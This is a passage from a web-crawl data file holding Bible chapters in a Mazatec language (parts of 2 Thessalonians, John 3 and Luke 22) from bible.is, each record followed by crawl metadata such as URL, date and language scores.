kjiá‑nioo̱, ko̱ kjiín kítsa̱jna ñánda̱ nga jè Na̱'ín‑ná tíjna ko̱ ni̱kjiá ske̱ jè kjoa̱jeya‑la̱ ra tse nga'ñó tjín‑la̱. 10'Koa̱á 'sín ko̱ma jè ni̱chjin nga kj'i̱í india‑ni jè Na̱'ín‑ná, nga jcha̱xkón‑la̱ ko̱ nga jeya kíjna a̱'ta 'tse̱ nga'tsì xi̱ta̱‑la̱ ra makjiín‑la̱; ya̱á ko̱jngoko̱‑te jiòn ta nga̱tjì‑la̱ nga kjokjiín‑no jñà 'én ra tsi'kèna̱jmí‑laji̱n. 11'Koa̱á ma‑ni nga kji'tá ni̱chjin bitsa'batjì‑la̱ji̱n, mé‑ni nga jè Nainá ko̱'sín katatsò nga bakèn kitií‑najiòn koni 'sín nga xá kiìchja̱‑no. 'Koa̱á 'sín síjé‑la̱ nga ngi ko̱ó nga'ñó‑la̱ nga katabasìko̱‑no mé‑ni nga nda ki̱tjasòn‑no nga'tsì kjo̱nda ko̱ nga'tsì xá ra mejèn‑no nga 'sia̱an, koni 'sín nga síchi̱ya‑no jè kjoa̱ ra makjiín‑no, 12mé‑ni nga a̱'ta tsa̱jiòn jeya kíjna‑ni jè Jesucristo ra tíjna ítjòn‑ná, ko̱ ti̱'koa̱á jiòn jeya ki̱tsa̱jna ra a̱'ta 'tse̱, koni 'sín nga tjín kjo̱nda‑la̱ jè ra Nainá‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná.\n2 Tesalonicenses Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Thess\/","date":"2013-12-12T17:34:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164653483\/warc\/CC-MAIN-20131204134413-00039-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":33,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":388,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsikijnaá jngo xi̱ta̱ fariseo ra tsi'kìn Nicodemo ra ti̱'koa̱ xi̱ta̱ ítjòn tsikijna‑la̱ xi̱ta̱ judío. 2Jè xi̱ta̱ ra̱kìi̱, jñò kijì nga kiì katsíjen‑la̱ Jesús nga kitsò‑la̱: ―Maestro, 'ya‑náji̱n nga jè Nainá isìkasén‑li nga ma ko̱kón‑ya‑náji̱n, nga̱ jngo xi̱ta̱ ra mì tsa Nainá tíjnako̱, mì kì ko̱ma‑la̱ ko̱'sín 'si̱in koni 'sín tjín jñà kjo̱xkón ra 'nì. 3'Kia̱á kitsò Jesús: ―Ngi kjo̱hixi̱í ra xin‑la, jè xi̱ta̱ ra mì kì jtsín xi̱tse̱ india‑ni mì kì ko̱ma ske̱ kó'sín batéxoma Nainá. 4Jè Nicodemo 'kia̱á iskonangi‑la̱, kitsò: ―¿Kó'sín ko̱ma‑ni nga jtsín xi̱tse̱ india‑ni jngo xi̱ta̱ ra ijye jchínga? ¿A maá kjoa̱ha'sen india‑ni i̱ndsi̱'ba̱ na̱‑la̱, ko̱ a̱kjòn jtsín india‑ni? 5Jesús kitsó‑la̱: ―'Koa̱á xin kixi̱‑la, jè ra mì a̱'ta 'tse̱ nandá ko̱ a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá jtsín‑ni, mì kì ko̱ma kjoa̱ha'sen‑jin ñánda̱ nga jè Nainá tíbatéxoma. 6Jè ra a̱'ta 'tse̱ xi̱ta̱ tsin‑ni, sakó‑la̱ kjo̱binachon a̱'ta 'tse̱ ijo‑la̱; ko̱ jè ra a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá tsin‑ni, sakó‑la̱ kjo̱binachon a̱'ta 'tse̱ inìma̱‑la̱. 7Kì tà chjàn maxkón‑li koni 'sín kàxin‑la: \"Nga machjeén‑ní nga jtsín xi̱tse̱ india‑ni jñà xi̱ta̱.\" 8Jè tjo̱ 'ba‑ní ni̱ ta ñánda̱ mejèn‑la̱, na'yá‑la̱ nga fane, tanga mì kì 'yeé ñánda̱ nchrabá‑nì ko̱ ñánda̱ fì. 'Koa̱á 'sín kjòn nga'tsì ra a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá tsin‑ni. 9'Kia̱á kitsò Nicodemo: ―¿Kó'sín ko̱ma‑la̱ nga ko̱'sín ko̱ma kjoa̱ kìi̱? 10Jesús kitsó‑ní: ―Ngaji̱, maestro tijna‑la̱ na̱xi̱ndá Israel, ¿mé‑ni mì 'ya‑ni kjoa̱ kìi̱? 11Ngi kjo̱hixi̱í ra xin‑la: Jé nakjoá‑ji̱n kjoa̱ ra na'yá‑ji̱n, ko̱ jé 'bèna̱jmí‑ji̱n kjoa̱ ra kijcha‑ji̱n, tanga mì kì makjiín‑no 'én ra 'bèna̱jmí‑ji̱n. 12Tsa mì kì makjiín‑no 'kia̱ nga 'benájmí‑no kjoa̱ ra 'tse̱ i̱sà'nde, ¿a tà jé ko̱kjiín‑najiòn tsa 'kenájmí‑no kjoa̱ ra chon ya̱ ján ngajmi? 13'Ni̱ kjè tsa yá ra fìmijìn ján ngajmi, ta̱ jngo jè I'ndí‑la̱ Xi̱ta̱, nga̱ jé ra ya̱ 'ji‑ni ya̱ ján ngajmi. 14Koni 'sín ki'sìn Moisés ya̱ i̱'nde kixì ñánda̱ nga tsikima nga iskiítje̱n jngo ye̱ ki̱cha̱ nga tsikítja̱'bá'ta yá, jè I'ndí‑la̱ Xi̱ta̱, 'koa̱á ti̱'sín tjínè‑la̱ nga tjáhitje̱n, 15mé‑ni nga'tsì ra ko̱kjiín‑la̱ ra a̱'ta 'tse̱, mì tsa jchi̱ja‑jìn, ta isa̱á 'se̱‑la̱ kjo̱binachon ra mì fehe'ta skanda ta kjiá‑nioo̱. 16'Nga̱ jè Nainá batoó 'ñó kjotsjake xi̱ta̱ i̱sà'nde, nga kitsjá jè I'ndí‑la̱ ra ta jè ta̱jngo‑ni, mé‑ni nga nga'tsì xi̱ta̱ ra ko̱kjiín‑la̱ a̱'ta 'tse̱, mì kì jchi̱ja, ta isa̱á 'se̱‑la̱ kjo̱binachon ra mì fehe'ta skanda ta kjiá‑nioo̱. 17Nainá mì tsa kì xá isìkasén‑ni I'ndí‑la̱ nga kjo̱hi'in ki̱ìnè‑la̱ xi̱ta̱ i̱sà'nde, kií xá isìkasén‑ni nga a̱'ta 'tse̱ ko̱ma ki̱tjokajin‑ni kjo̱hi'in a̱'ta 'tse̱ jé‑la̱ xi̱ta̱ i̱sà'nde. 18'Jè ra makjiín‑la̱ a̱'ta 'tse̱ Jesús, mì tsa kjo̱hi'in tjínè‑la̱ nga si̱ìkjiín; tanga jè ra mì kì makjiín‑la̱, ijyeé kjo̱hi'in tjínè‑la̱ nga si̱ìkjiín ta nga̱tjì‑la̱ mì kì makjiín‑la̱ a̱'ta 'tse̱ I'ndí‑la̱ Nainá ra ta jè ta jngo‑ni. 19Jñà xi̱ta̱ ra mì kì makjiín‑la̱, ijyeé kjo̱hi'in tjínè‑la̱ nga si̱ìkjiín ta nga̱tjì‑la̱ 'kia̱ nga 'ji i̱ i̱sà'nde jè ra síhisen‑ná mì kì kjotsjake, ta isa̱á jñà 'ñó kjotsjake jè ra kjoa̱jñò, ta nga̱tjì‑la̱ nga 'choó tjín jñà kjoa̱ ra 'sín. 20Nga'tsì xi̱ta̱ ra 'cho tjín kjoa̱ ra 'sín, jtikeé ra kjoa̱ isen, ko̱ majìn‑la̱ nga ya̱ nchrabá ñánda̱ nga isen chon ta nga̱tjì‑la̱ majìn‑la̱ nga jcha̱‑la̱ jñà kjoa̱'cho ra 'sín. 21Tanga jñà ra kjoa̱kixi̱ i̱nchi'sín, nchrabá'ta‑la̱ ñánda̱ isen chon, mé‑ni nga jcha̱‑la̱ nga 'koa̱á 'sín i̱nchi'sín koni 'sín mejèn‑la̱ Nainá. 22Nga ijye kjomà, Jesús kijí ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱ ya̱ ján nangi Judea; ya̱á tsikitsa̱jnako̱ chiba ni̱chjin nga tsatíndá xi̱ta̱. 23Juan ti̱'koa̱á tíbatíndá‑te xi̱ta̱ ya̱ na̱xi̱ndá Enón, ya̱ chraña'ta‑la̱ na̱xi̱ndá Salim, ta nga̱tjì‑la̱ ya̱ i̱'nde ra̱kìi̱, 'ñó tjín nandá; ko̱ jñà xi̱ta̱, ijchò‑ní nga isatíndá. 24'Kia̱ nga ko̱kjamà kjoa̱ kìi̱, 'kia̱‑ní 'kia̱ nga ti̱kjè nda̱yá fì jè Juan. 25Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Juan ko̱ jngo xi̱ta̱ judío tsakátiya‑ni kó'sín nga tíchja̱ kjo̱téxoma 'tse̱ xi̱ta̱ judío ra xkón tjín koni 'sín nga sítsje ijo‑la̱. 26Kijí xi̱ta̱ ñánda̱ tíjna Juan, kitsò‑la̱: ―Ji̱ maestro, jè xi̱ta̱ ra ya̱ ijchòki̱i ya̱ ra ijngoa ndáje̱ Jordán ra ki'tsìi̱ 'én ra a̱'ta 'tse̱, 'ndi̱ 'ndi̱, ti̱'koa̱á tíbatíndá‑te; ko̱ sabà ya̱á i̱nchifìtji̱ngi‑la̱ nga'tsì xi̱ta̱. 27Juan kitsó‑la̱: ―Jngo xi̱ta̱, ni̱mé ra ma 'se̱‑la̱, tsa mì jè sabà Nainá tsjá‑la̱. 28Jiòn sabá ina'yá‑ná jiòn 'kia̱ nga ko̱'sín kíxin‑no, nga mì tsa 'a̱n jiàa̱n ra Cristo; tà tje̱n inikasén ítjòn‑na ra 'a̱n ra a̱'ta 'tse̱ jè. 29Ya̱ ñánda̱ bixan xi̱ta̱, jè itsabá'ñó chjo̱ón jè xi̱ta̱ 'xi̱n ra bixan; ko̱ jè xi̱ta̱ ra nda báko̱ ra ya̱ síjna'ta chraña‑la̱, ta 'nchré‑ní, ko̱ 'ñó matsja‑la̱ 'kia̱ nga chja̱ jè xi̱ta̱ 'xi̱n ra bixan. 'Koa̱á ti̱'sín 'ñó matsja‑la̱ inìma̱‑na̱ nga 'nchrèe̱ kjoa̱ ra tí'sín ra jè. 30Machjeén‑ní nga isa̱ 'ñó 'nga katijna ra jè, ko̱ 'a̱n isa̱ nangi kóti̱jnaa̱. 31'Jè ra ngajmi nchrabá‑ni, jè tíjna ítjòn‑la̱ nga'tsì xi̱ta̱. Ko̱ jè ra i̱ a̱'ta nangi 'tse̱, xi̱ta̱ i̱sà'nde‑ní, ko̱ jñà chja̱ kjoa̱ ra ma i̱ a̱'ta nangi. Tanga jè ra ngajmi nchrabá‑nì, jé batéxoma‑la̱ nga'tsì xi̱ta̱, 32ko̱ 'koa̱á 'sín tsjá 'én‑la̱ mé ra kijtse ko̱ mé ra kií'nchré; tanga ni̱yá ra makjiín‑la̱ koni 'sín tsò. 33Tanga jè xi̱ta̱ ra makjiín‑la̱ 'én ra chja̱ jè ra ngajmi nchrabá‑ni, jé síkixi̱yanda india‑ni 'én nga jè Nainá, ngi 'én kixi̱í ra chja̱; 34nga̱ jè ra ngi Nainá isìkasén, 'én‑la̱ Nainá chja̱; nga̱ jè Nainá tsjá‑la̱ Inìma̱ Tsje‑la̱ ko̱ mì kì chi̱ba̱ tjín‑la̱ kó'ki kjo̱nda tji̱ko̱. 35Jè Nainá tsjakeé jè I'ndí‑la̱, ko̱ jè isìnga̱tsja ijye ta mé kjoa̱‑nioo̱. 36Jè ra makjiín‑la̱ koni tsò 'én ra chja̱ I'ndí‑la̱ Nainá, tjín‑la̱ kjo̱binachon ra mì fehe'ta; tanga jè ra mì kì makjiín‑la̱, mì kì 'se̱‑la̱ kjo̱binachon ra̱kìi̱; jé ska̱nè‑la̱ kjo̱hi'in ra jè Nainá tsjá skanda tà mé ni̱chjin‑nioo̱.\nSan Juan 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/3","date":"2013-12-09T06:12:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163915534\/warc\/CC-MAIN-20131204133155-00008-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":893,"character_repetition_ratio":0.073,"word_repetition_ratio":0.007,"special_characters_ratio":0.248,"stopwords_ratio":0.349,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ijyeé kjochraña ni̱chjin 'kia̱ nga bitjo 'sí paxko̱, nga bakjèn ni̱ño̱ nchra̱jín ra tsìn‑la̱ na̱'yo̱ san jñà xi̱ta̱ judío. 2Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés mejèn‑la̱ si̱ì'ken Jesús; tsakátsji'nde‑la̱ kó'sín si̱ìko̱, tà nga̱tjì‑la̱ nga̱ jñà tsakjón‑la̱ xi̱ta̱ na̱xi̱ndá. 3Jè xi̱ta̱‑ni̱í 'jaha'sen‑jiín inìma̱‑la̱ ra 'mì Judas, ra ti̱'koa̱ Iscariote 'mì‑te, jngo xi̱ta̱‑la̱ Jesús jñà ra tejò ma‑ni. 4Ya̱á íkáko̱ xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ xi̱ta̱ ítjòn ra síkinda̱ i̱ngo̱ ítjòn, nga tsajo̱óya‑ni kó'sín ma si̱ìnga̱tsja Jesús kondra̱‑la̱. 5Xi̱ta̱ kìi̱, tsjaá ki'se‑la̱; tsikíndajín‑ní nga to̱n tsjá‑la̱. 6Kjokjiín‑la̱ jè Judas, a̱kjòn tsakátsji'nde‑la̱ kó'sín si̱ìnga̱tsja Jesús nga mì kì ske̱ jñà xi̱ta̱ na̱xi̱ndá. 7Ijchó ni̱chjin nga bitjo 'sí a̱'ta 'tse̱ ni̱ño̱ nchra̱jín ra tsìn‑la̱ na̱'yo̱ san, 'kia̱ ko̱'sín tjínè‑la̱ nga biya forrè ra xaájten jní‑la̱ ra a̱'ta 'tse̱ 'sí paxko̱. 8Jesús isìkasén Pedro ko̱ Juan, kitsò‑la̱: ―Tje̱n tangió mé‑ni nga tinda tsajmì ra ki̱chi‑né ra a̱'ta 'tse̱ 'sí paxko̱. 9Kitsó jñà xi̱ta̱‑la̱: ―¿Ñánda̱ mejèn‑li Na̱'ìn nga kínda‑ji̱n? 10Jesús kitsó‑la̱: ―'Kia̱ nga kijcho ya̱ a̱jin na̱xi̱ndá, ya̱á ska̱jin jngo xi̱ta̱ 'xi̱n ra 'ya jngo nisa nandá. Tangítji̱ngi‑la skanda ñánda̱ nga kjoa̱ha'sen ni'ya. 11Ko̱'tìn‑la jè ni‑la̱ ni'ya: \"Ki̱í tsò jè Maestro: ¿Ñánda̱ kjijna jè ni'ya ya̱ ñánda̱ nga kókje̱n‑ko̱ xi̱ta̱‑na̱ ra kotá'yá'ta‑na ra a̱'ta 'tse̱ 'sí paxko̱?\" 12Jè xi̱ta̱ ra̱kìi̱, ko̱kòn jngo‑no ni'ya ra je 'ki ra ijye nda chon ra ya̱ kjijnasòn'nga i'ngaá. Ya̱ tinda tsajmì ra ki̱chi‑né. 13Jñà xi̱ta̱ kìi̱, kijí‑ní; 'koa̱á 'sín isakò‑la̱ koni 'sín kitsò‑la̱ Jesús. Ya̱á tsikínda tsajmì ra tsakjèn ra kjoa̱ 'tse̱ 'sí paxko̱. 14'Kia̱ nga ijye ijchò chi̱ba̱‑la̱ nga tsakjèn, Jesús ko̱ xi̱ta̱ ra bíxáya‑la̱ ya̱á tsikitsa̱jna'ta ímixa̱. 15Kitsò‑la̱: ―¡'Ñó mejèn‑na nga kókje̱n-ko̱‑najiòn ra 'tse̱ 'sí paxko̱ 'kia̱ nga ti̱kje biya! 16'Koa̱á xin kixi̱‑no, mì kì ti̱ kókje̱n‑na ra a̱'ta 'tse̱ 'sí paxko̱ skanda 'kia̱ nga ijye ki̱tjasòn jñà ni̱chjin 'kia̱ nga ko̱tèxoma Nainá. 17'Kia̱á iskábé jngo chi̱tsín ra tjíya nandá xán 'tse̱ uva; kitsjá‑la̱ kjo̱nda Nainá. A̱kjòn kitsò‑la̱ jñà xi̱ta̱‑la̱: ―Chjíbé, ti̱ka'bí‑la xàngio̱o; 18'koa̱á xian‑no nga mì ti̱ kì sk'i̱‑na nandá xán 'tse̱ uva skanda 'kia̱ nga ko̱tèxoma Nainá. 19A̱kjòn iskábé ni̱ño̱ nchra̱jín; kitsjá‑la̱ kjo̱nda Nainá. A̱kjòn isìjòya, ko̱ kitsjá‑la̱ xi̱ta̱‑la̱, kitsò‑la̱: ―Jñà kìi̱, jé ijo‑na̱, ra tsja kjo̱tjò nga ki̱yá ngajo‑najiòn. Ko̱'sín ti̱jòya‑te jiòn ni̱ño̱ nchra̱jín nga ti̱kítsjen‑yá ra a̱'ta tsa̱'a̱n. 20'Kia̱ nga ijye tsakjèn, 'koa̱á ti̱'sín ki'sìn; iskábé jngo chi̱tsín [ra tjíya nandá xán 'tse̱ uva], kitsò: ―Jè nandá xán ra tjíya chi̱tsín ra̱kìi̱, jè‑ní kjoa̱ xi̱tse̱ ra bindájín‑ko̱‑no, ra ngi ko̱ jní‑na̱ makixi̱ya‑ni, jè jní‑na̱ ra xa̱ájten ra kjo̱nda tsa̱jiòn. 21Ya̱á tíjna'tako̱‑ná ímixa̱, jè ra si̱ìnga̱tsja‑na xi̱ta̱ kondra̱‑na̱. 22Kixi̱í kjoa̱, 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, tjínè‑na nga ki̱yá, tanga, ¡i̱ma̱‑ró‑ni jè xi̱ta̱ ra si̱ìnga̱tsja‑na! 23Jñà xi̱ta̱‑la̱ tsikí'tsia̱‑ní nga iskonangi‑la̱ xákjén, kitsò: \"Yá‑ní ra ko̱'sín si̱ìnga̱tsja.\" 24Jñà xi̱ta̱‑la̱ Jesús tsakátiya‑ni nga yá kjòn‑ní ra tíjna ítjòn. 25Jesús kitsó‑la̱: ―Jñà xi̱ta̱xá ítjòn ra mì tsa xi̱ta̱ judío, 'ñó beton xi̱ta̱ na̱xi̱ndá‑la̱, ko̱ jñà xi̱ta̱ kìi̱, 'koa̱á 'sín bitjongi nga 'ñó nda xi̱ta̱. 26Tanga ra jiòn, mì tsa ko̱'sín 'sia̱an. Jè ra isa̱ 'nga tíjna, isa̱á nangi katijna; ko̱ jè ra ma‑la̱ batéxá‑ná, tà isa̱á jé katama chi̱'nda. 27¿Yá‑ní ra tíjna ítjòn? ¿A jè ra bijna'ta ímixa̱ o̱ ra jè ra bíya tsajmì? ¿A mí tsa jè, jè ra bijna'ta ímixa̱? Tanga 'ndi̱ 'ndi̱, mì tsa ti̱ ko̱'sín ka̱ma‑ni. 'A̱n, 'koa̱á 'sín tíjna̱jin‑no koni tsa jngo xi̱ta̱ chi̱'nda ra tísíxá‑no. 28'Jión‑nájiòn ra ko̱'sín titsa̱jnako̱ ki'tá‑ná ni̱'sín ta mé kjoa̱ ra tíbatojiàa̱n. 29'Koa̱á ma‑ni, 'koa̱á 'sín tsja‑no kjo̱téxoma, mé‑ni nga ta̱te̱xoma koni 'sín kitsjà‑na jè Na̱'ìn‑na̱ ra Nainá, 30mé‑ni nga ti̱'koa̱ ya̱ ki̱chioò ko̱ ya̱ 'sio̱ò ya̱ a̱'ta ímixa̱ ñánda̱ kotexóma ra 'a̱n, ti̱'koa̱ ya̱ ki̱tsa̱jnasòn íxile̱ 'tse̱ kjo̱téxoma, nga jiòn kíndajín‑la jñà xi̱ta̱ na̱xi̱ndá‑la̱ xi̱ta̱ Israel ra tejò tje̱ ma‑ni ―kitsó Jesús. 31Kiìchja̱‑isa Na̱'ín‑ná, kitsò: ―Ji̱ Simón, jè xi̱ta̱‑ni̱í ijyeé isíjé'nde nga mejèn‑la̱ 'ñó sko̱ó'ta‑no. Nga ko̱'sín si̱ìko̱‑no koni 'sín nìko̱ jè trigo nga 'kia̱ matsje. 32Tanga ijyeé isíjé'tin‑la ra ji̱, mé‑ni nga mì jcha̱àjin‑li kjoa̱ ra makjiín‑li ra a̱'ta tsa̱'a̱n. 'Kia̱ ijye koa̱áfa'ta‑iná ra ji̱, ti̱si̱ki̱i jñà xàngi̱i, mé‑ni nga kixi̱ katitsa̱jna‑ni. 33Simón Pedro kitsó‑ní: ―Na̱'ìn, tíjna̱nda‑ná nga kíko̱‑la ni̱'sín nda̱yá 'kín, ko̱ ni̱'sín ya̱ katiyako̱‑la. 34Jesús kitsó‑la̱: ―Ji̱ Pedro, 'koa̱á xin‑la, 'ndi̱ 'ndi̱, jàn 'ka̱ ko̱síi̱ nga mì kì 'yaxkon‑ná 'kia̱ nga ti̱kjè kjindáya káxtí. 35Jesús iskonangií‑la̱, kitsò‑la̱: ―'Kia̱ nga ta ísikásén tiya‑no nga ni̱mé ra ki'chà, nga ni̱mé to̱n, nga ni̱mé na̱'ya, ko̱ nga ni̱mé xa̱jté tsakjaya jiòn, ¿mé ra ichija'ta‑no? Jñà xi̱ta̱ kitsó‑ní: ―Ni̱mé ra ichija'ta‑naji̱n. 36'Kia̱á kitsò‑la̱: ―'Ndi̱ 'ndi̱, jè ra tjín‑la̱ chrja̱ba̱ to̱n, ko̱ ra tjín‑la̱ na̱'ya, katakjábé; jè ra tsìn‑la̱ ki̱cha̱ ndajò, katatína na̱chro̱-sòn'nga‑la̱ ko̱ katatse ki̱cha̱‑la̱. 37'Koa̱á xín‑no, tjínè‑la̱ nga ki̱tjasòn ijye, koni 'sín tíchja̱ ra a̱'ta tsa̱'a̱n jè Xa̱jo̱n‑la̱ Nainá, nga tsò: \"'Koa̱á 'sín ske̱tákon koni tsa jngo xi̱ta̱ ra mì kì nda 'sín.\" Koni 'sín tíchja̱ 'Én‑la̱ Nainá ra a̱'ta tsa̱'a̱n, ki̱tjasòn ijye‑ní. 38Jñà xi̱ta̱‑la̱ kitsò: ―Na̱'ìn, jò ki̱cha̱ ndajò kjihijyo‑naji̱n i̱jndíi̱. Jè Jesús kitsó‑la̱: ―Tà ka̱ma‑ni. 39A̱kjòn kijì Jesús nga kiìchja̱'ta‑la̱ Nainá ya̱ ñánda̱ 'mì nindo Yá Olivo koni 'sín 'sín ki'ta; tje̱n‑ngi‑la̱ xi̱ta̱‑la̱ ra kotá'yá'ta‑la̱. 40'Kia̱ nga ijchò i̱'nde ra̱kìi̱, kitsò‑la̱ xi̱ta̱‑la̱: ―Ti̱nákjoa̱'ta‑la Nainá mé‑ni nga mì kjótsji-jé‑no. 41'Kia̱á tsasì'taxìn i̱tsé; 'koa̱à‑la 'ki kijì, koni 'ki kjìn saté jngo na̱jo̱; tsasèn-xkó'nchi, a̱kjòn kiìchja̱'ta‑la̱ Nainá. 42Kitsò: ―Na̱'ìn, tsa mejèn‑li, chjáaxìn‑ná kjo̱hi'in ra̱kìi̱; tanga mì tsa jè katitjasòn koni 'sín mejèn‑na ra 'a̱n, 'koa̱á 'sín katama koni 'sín mejèn‑li ra ji̱. 43'Kia̱ tíchja̱'ta‑la̱ Nainá, jngo ìkja̱li̱ tsatsíjen‑la̱ ra ngajmi inchrabà‑ni nga kitsjà nga'ñó-isa‑la̱. 44Koni 'sín 'ñó tse kjo̱hi'in tísíkjiín, 'koa̱á 'sín 'ñó kiìchja̱'ta-isa‑la̱ Nainá; jè ndátsjiya‑la̱ ra iskatsajo'tá nangi, sí koni kjòn jní chi̱jnga̱á kjòn. 45'Kia̱ ijye kiìchja̱'ta‑la̱ Nainá, kijì india‑ni ya̱ ñánda̱ títsa̱jna jñà xi̱ta̱ ra kotá'yá'ta‑la̱. Tanga 'kia̱ ijchò, ijyeé kjifé‑ní, tà nga̱tjì‑la̱ 'ñó 'on i̱nchima‑la̱ inìma̱‑la̱. 46'Kia̱á kitsò‑la̱: ―¿Mé‑ni nga tjitsjafè‑no? Ti̱sítje̱en, ti̱nákjoa̱'ta‑la Nainá mé‑ni nga mì sa̱kò jé‑no. 47Ti̱'kia̱á‑ni nga tíchja̱‑isa Jesús, kjìn xi̱ta̱ ijchò; tje̱n ítjòn jè Judas, jngo xi̱ta̱‑la̱ Jesús jñà ra tejò ma‑ni. 'Kia̱ ijchò, ikasi'ta chraña‑la̱ Jesús nga iskine'a. 48Jè Jesús kitsó‑la̱: ―Ji̱ Judas, ¿a tà maá chine'a jngo‑ná ko̱ a̱kjòn nìnga̱tsja‑ná xi̱ta̱ kondra̱‑na̱ 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱? 49Jñà xi̱ta̱‑la̱ ra i'ka, 'kia̱ nga kijtse kjoa̱ ra tíma'tin Jesús, kitsó‑ní: ―Na̱'ìn, ¿a mején‑li nga ki̱'chon‑ji̱n ki̱cha̱ ndajò‑na̱ji̱n? 50Jngo xi̱ta̱‑la̱ Jesús tsajá‑la̱ ki̱cha̱ jè chi̱'nda‑la̱ na̱'mì ítjòn; tsate'tà chíká nga kixi̱‑la̱. 51'Kia̱á kitsò Jesús: ―¡Tà katja'bè; kì ko̱nìko̱o! A̱kjòn tsaká'ta‑la̱ tsja chíká‑la̱ chi̱'nda ra̱kìi̱; ndi̱to̱ón kjonda‑ni. 52'Kia̱á kitsò‑la̱ jñà xi̱ta̱ ra ijchòtji̱ngi‑la̱, jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ xi̱ta̱ ra síkinda̱ i̱ngo̱ ítjòn, ko̱ jñà xi̱ta̱ jchínga: ―¿Mé‑ni ko̱'sín kà'fìi̱‑no nga ko̱'sín kà'fìi̱'cha‑ná koni tsa jngo xi̱ta̱ chijé nga ki̱cha̱ ko̱ yá ki'chà? 53Ni̱chjin nchijòn tsakáti̱jnaa̱ ya̱ ndi̱tsin i̱ngo̱ ítjòn. ¿Mé‑ni mì ti̱'kia̱ indabá'ñó‑ná? Tanga 'kia̱á‑ní nga jñò chon matsja‑no nga bítjo̱o 'kia̱ nga jè ni̱í tíbatéxoma. 54Jñà xi̱ta̱ itsabá'ñó Jesús, kiìko̱ ya̱ ni'ya‑la̱ na̱'mì ítjòn. Jè Pedro, kjiín tji̱ngi‑la̱. 55Jñà xi̱ta̱, ni'í tsikítse ya̱ nga masen‑la̱ ndi̱tsin, a̱kjòn tsikìtsa̱'ngi jngo tjandi. Jè Pedro, ya̱á tsikijnajin‑te‑la̱ xi̱ta̱. 56Jngo chjo̱ón chi̱'nda, 'kia̱ kijtse Pedro nga ya̱ tíjna'ngi, isko'án‑ní; kitsò‑la̱: ―Xi̱ta̱ ra̱kìi̱, ya̱á tsá'bako̱‑te Jesús. 57Tanga jè Pedro tsakjajna'ma‑ní, mì kì tsi'kéna̱jmí; kitsò: ―Ji̱ chjo̱ón, mì kì bexkon xi̱ta̱ ra ko̱'mì‑la̱ ji̱. 58Ra kjomà jngohíjta, ìjngo xi̱ta̱ kijtse Pedro; kitsò‑la̱: ―Ti̱'koa̱á ra ji̱ ya̱á tjájmekíi̱ jè Jesús. 'Kia̱á kitsò Pedro: ―Majìn, mì tsa 'a̱n jiàa̱n, nàmi̱. 59Ra kjomà a̱skan, tjían‑ni tsa jngo hora, 'ñó ko̱kitsò jngo‑isa xi̱ta̱: ―Kixi̱í kitií kjoa̱, jè xi̱ta̱ ra̱kìi̱, ya̱á tsá'bako̱‑te Jesús; nga̱ ya̱á i̱'nde‑la̱ ya̱ Galilea. 60Pedro kitsó‑ní: ―Mì kì be mé 'én ra ko̱'mì‑la̱ ji̱ na̱'ìn. Ti̱'kia̱á‑ni tíchja̱ Pedro nga iskindaya káxtí. 61Isíkáfa Na̱'ín‑ná Jesús, iskotsíjen‑la̱ Pedro. 'Kia̱á itjokítsjen‑la̱ Pedro 'én ra ko̱kitsò‑la̱ Na̱'ín‑ná Jesús nga kitsò‑la̱: \"'Ndi̱ 'ndi̱, 'kia̱ nga ti̱kje kjindáya káxtí, jàn 'ka̱ ko̱síi̱ nga mì kì 'yaxkon‑ná.\" 62Jè Pedro, 'kia̱á itjo ndi̱tsiaán, ko̱ taxki̱ 'ñó iskindaya. 63Jñà xi̱ta̱ ra i̱nchisíkinda̱ Jesús, isìtsja'tin‑ní ko̱ tsajá‑te‑la̱. 64Tsikíchjà xko̱n; a̱kjòn iskonangi‑la̱, kitsò‑la̱: ―¡Ko̱'tín‑náji̱n yá ra tí'bé‑li! 65Kjìn 'én kiìchja̱jno-isa‑la̱ ra 'ñó 'cho tsò. 66'Kia̱ ki'se i̱sén, kjóxkóyaá jñà xi̱ta̱ jchínga 'tse̱ xi̱ta̱ judío, xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés; kiìko̱ Jesús ya̱ ñánda̱ maxkóya jñà xi̱ta̱xá ítjòn; a̱kjòn iskonangi‑la̱, kitsò‑la̱: 67―Ko̱'tín‑náji̱n, ¿a ji̱‑ní ra Cristo [ra xá isìkasén‑li Nainá]? Jesús kitsó‑ní: ―Tsa ko̱xín‑najiòn, mì kì ko̱kjiín‑no. 68Ko̱ tsa 'a̱n skonangi‑no, mì kì ki̱nákjoa̱a, [ko̱ mì kì tsa si̱kíjnandi̱í‑nájiòn]. 69'A̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, ijyeé 